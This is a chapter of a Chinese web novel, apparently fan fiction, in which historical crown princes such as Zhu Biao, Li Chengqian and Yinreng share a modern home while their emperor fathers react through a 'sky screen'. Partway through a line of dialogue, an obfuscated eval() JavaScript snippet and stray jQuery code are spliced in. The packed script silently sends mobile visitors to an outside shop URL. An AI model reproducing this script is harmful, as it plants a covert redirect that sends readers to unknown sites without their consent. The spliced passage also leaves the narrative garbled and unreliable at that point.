第九章
自天幕首次映出那不受重视的次子名字,朱瞻基便立刻从宫外召回了吴氏及皇次子朱祁钰。
皇长子朱祁镇,乃他与心爱的孙氏所出,甫一落地即正位东宫。在他心中,镇儿便是承继宗庙、抚定山河的不二人选。单是赐名为“镇”,便已昭示其期许。
至于祁钰……他也并非刻意忽视,只是对太子期望太重,只愿祁钰不要生出野心,做个闲散王爷便好。
他万万未曾料到,最终践祚九五的,竟是次子祁钰!
是太子早夭?是因过被废?抑或……镇儿虽继大统,却英年早逝,无有后嗣,迫不得已兄终弟及?
更令人如鲠在喉的,是嬴扶苏所言——他滞留幽冥,是因不甘与怨愤。
那么,祁钰又是因为什么原因滞留幽冥呢?
他在心中默默推敲:嬴扶苏、刘据、李承乾、懿文太子……乃至后世那个废太子胤礽,若说共同点是心有不甘、壮志未酬、含恨而终,确实也说得过去。
可那几个人,要么是皇权倾轧、政治斗争的失败者,或者干脆是天不假年,不甘心,尚在情理之中。
而祁钰……他既已登临帝位,执掌神器,又能有何不甘?有何怨愤?
刘据那句“祁钰经历坎坷,结局不好”,更如冰锥刺心。
一国之君……竟称“坎坷”?还“结局不好”?
一个令人骨髓生寒的念头,不受控制地从心底翻涌而出——
——莫非……我大明……竟亡于他手么?
不、不会的,大明开国未远,黎庶稍安,甲兵尚锐,臣工亦多怀尽忠之志,还远未有倾颓之象。
除非……有一场倾国之战,以摧枯拉朽之势,一口气断送了大明的军队和朝臣?
他想到这里,几欲失笑,这猜想荒诞,可能性也太小。
况且,若祁钰是亡国之君,懿文太子……应当不会视为珠玉,待他如此亲厚。
那祁钰滞留幽冥,许是别有隐情。
他强自按下心中惊惶,只能默默期望天幕之上,交流中多泄几分天机。
——起码透露一下祁钰的谥号和庙号吧。
-
天幕上那群少年,嬉笑怒骂间,动辄便牵连对方父祖乃至整个朝代。不少帝王听着听着,只觉心口莫名一凉,仿佛隔空挨了一记冷箭。
李世民见天幕中李承乾那副先是对开关好奇不已、跃跃欲试,继而又僵硬紧绷、手足无措的模样,几不可闻地轻叹一声,眉头不自觉地微微蹙起,侧首对身旁的长孙皇后低语,声音里带着一丝不易察觉的失望与严苛:
“承乾终是欠些沉稳。好奇、紧张皆人之常情,然这般形之于色,尽露人前,岂是储君模样?”
这熟悉的话语,带着沉甸甸的期望与批评,清晰地落入李承乾耳中。他垂在身侧的手猛地一颤,原本就低垂的头颅埋得更深了,看见自己的双腿,心里又是狠狠一顿。
他下意识地用指尖死死绞紧了衣袍的下摆,将锦缎掐出深深的褶皱,仿佛要将无处安放的委屈与那如影随形的“不够好”都揉进这布料里——
果然……又是这样。无论他做什么,似乎永远都达不到父亲心中“完美储君”的标准。
长孙皇后将丈夫的苛责与儿子的黯然尽收眼底。
她伸出手,轻轻覆在李世民放在膝头、因不悦而微微绷紧的手背上,柔声劝道:“陛下亦是至情至性之人。这份赤子之心,恰如陛下少年时。子肖其父,血脉相连,陛下合该欣慰才是。”
李世民眸光微动,终是缓了神色,未再多言。
-
而朱元璋听了刘据和胤礽对朱标名字“不够风雅”的吐槽,气得火冒三丈、直吹胡子。
——“标”字怎么不好了,堂堂正正!标杆、标准、标致!哪点不好?怎么说像、像什么地痞混混,岂有此理!
皇帝蒲扇般的大手“砰”地一声狠狠拍在御案上,震得笔架上的笔都跳了起来,砚台里的墨汁也溅出几点在奏折上。
他猛地转向朱标:“标儿!你给咱说!你嫌弃这个字吗?”
那眼神里,除了怒意,更深处藏着一丝几不可察的紧张——他倾注了全部心血的长子,会嫌弃他这个乞丐出身的老爹取的名字不够文雅吗?
——父亲居然对一个玩笑如此认真,甚至带着点孩子气的委屈。
朱标不敢怠慢,立刻上前一步,拱手笑道:“爹取的名字自然是好。‘标’乃立身标尺,儿子唯恐德不配名,岂敢有半分嫌弃之心?”
朱元璋紧绷的脸这才松了些,眼神也柔和下来,鼻腔里重重一哼,点了点头。
-
胤礽在天幕中一字一句地念《归去来兮辞》,清晰的声音穿透天幕,敲打在乾清宫冰冷的地砖上。
当“不念过往,唯念今朝”这八个字落下时,康熙只觉得脑中“嗡”的一声,仿佛被无形的重锤狠狠击中。那字句不再是文辞,而是化作了冰冷的铡刀。
这分明是要弃了旧名,连同他这个父亲……也要一并割舍了。
过往?过往是什么?是他手把手教他握笔习字,是他抱他在膝头为他讲的故事,是他殚精竭虑为他铺就的前路。
这一切的一切,包括“胤礽”这个名字,在太子心中,竟都成了需要“不念”的“过往”?
那他这个父亲,在他的“今朝”里,莫非也只是一个……被厌弃的、需要摆脱的旧日枷锁?
康熙觉得自己心又开始痛了。
——朕剖心沥血,难道……竟换不回你一丝眷顾与怀念,只余一句冰冷的“不念过往”?!
-
【胤礽满含期待的目光投向李承乾,却换来对方略显尴尬的闪躲。
——哎,忘了他爹也是一个“语出惊人”的人。
“呃……其实,其实我觉得这话好像也……也还好?”李承乾努力措辞,“嗯……陛下其实也常会对亲近之人说一些……体己话。”
胤礽:……崩如溃。
“哎……”胤礽失望地长叹了一声,摇了摇头:“难道真是我有问题……?举世皆浊我独清啊。”
“哥……呃,懿文殿下——!”正在这时,朱祁钰的声音带着点小慌乱,从厨房里传来,“你看到我放冰箱里的小布丁了吗?”
朱标连忙站起来,快步向厨房走去:“我知道,帮你收起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756925|209536||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。那个放冷藏上层容易坏,给你挪到冷冻层了。”
不一会儿,两人便端着切好的水果盘和几碟精致小点心走了出来。
朱标把点心放在茶几上,顺手敲了一下朱祁钰的额头,语气带着无奈的笑意:
“都说了多少遍了,叫‘哥’就行,不许叫‘殿下’。这称呼听着好生分。再说了,”他温声开解道,“即使以身份来论,尊贵无过皇帝,你不必叫任何人殿下。你我之间,更不必如此。”
朱祁钰下意识摸了摸被敲的地方,小声辩解:“你毕竟是我的长辈呀……再说承乾刚来,我怕他理不清我们的辈分关系。”
“傻话。”朱标拉着他到沙发上坐下,眼神温和却认真,“你呀……我不仅是你的长辈,更愿做你的朋友和兄长。听到你这样生疏地叫我,我会很难过的。至于什么辈分关系……”
他笑着摇了摇头:“理不理清又有什么要紧?在这里,我们是一家人,这就够了。”
朱祁钰自知理亏,低下头,声音闷闷的:“……对不起。”
朱标这才注意到刚才敲的地方似乎有点红,立刻心疼地揉了揉:“我是不是手重了,疼不疼?”
朱祁钰摇摇头:“不疼。”
朱标看他那副蔫蔫认错的样子,又好笑又好气:“不能只会认错,要改正,知道吗?你要是再叫殿下的话——”
他故意板起脸,凑近压低声音威胁道:“我就叫上其他人,把你冰箱里珍藏的小布丁,一个不剩,都吃光了。”
“啊,别——!”朱祁钰瞬间抬头,眼睛瞪得溜圆。
“那记住了吗?”
朱祁钰立刻小鸡啄米点头:“记住了。”
他拽住朱标的袖子,又委委屈屈看他,软软地央求:“哥……别吃我的小布丁,好不好呀。”
胤礽:…………有时候人长了耳朵和眼睛是有点痛苦的。
到这里,李承乾也终于被震撼到了:“保成……你们是说,明朝是直男王朝是吗?”
胤礽猛转头,像是找到了失散多年的知己,激动地一把勾住李承乾的肩膀:“你终于觉得有点问题了是不是?!!”
李承乾艰难点头:“陛下一般只是嘴上说说……”
“承乾!知己难寻啊!”胤礽和他挤到同一个沙发坐下,“我真没想到,我们两个……竟是这里唯二的直男!”
“你以后就是我异父异母的亲兄弟!”
嬴扶苏:呃……不至于吧。我的评价是不如先秦,直接唱与王子同舟。
刘据:我也……我的评价是just soso。我们两汉都是上去直接小手一拉把臂同游抵足而眠,再加解衣衣我,推食食我,自太祖高皇帝以降,一套连招至今未逢敌手。】
-
嬴政:就这?
刘彻:就这就这?后世真没见识。
李世民:好像学会了新的知识,下次用上。
朱棣:……有没有人救救我?“祁”字辈是我的曾孙吧?我哥是你哥那我是什么?我曾孙是我弟那我是什么?我是辈分直降还是辈分直涨?哥!我不敢涨啊!
朱瞻基:……那我问你。我和我儿谁辈分更高。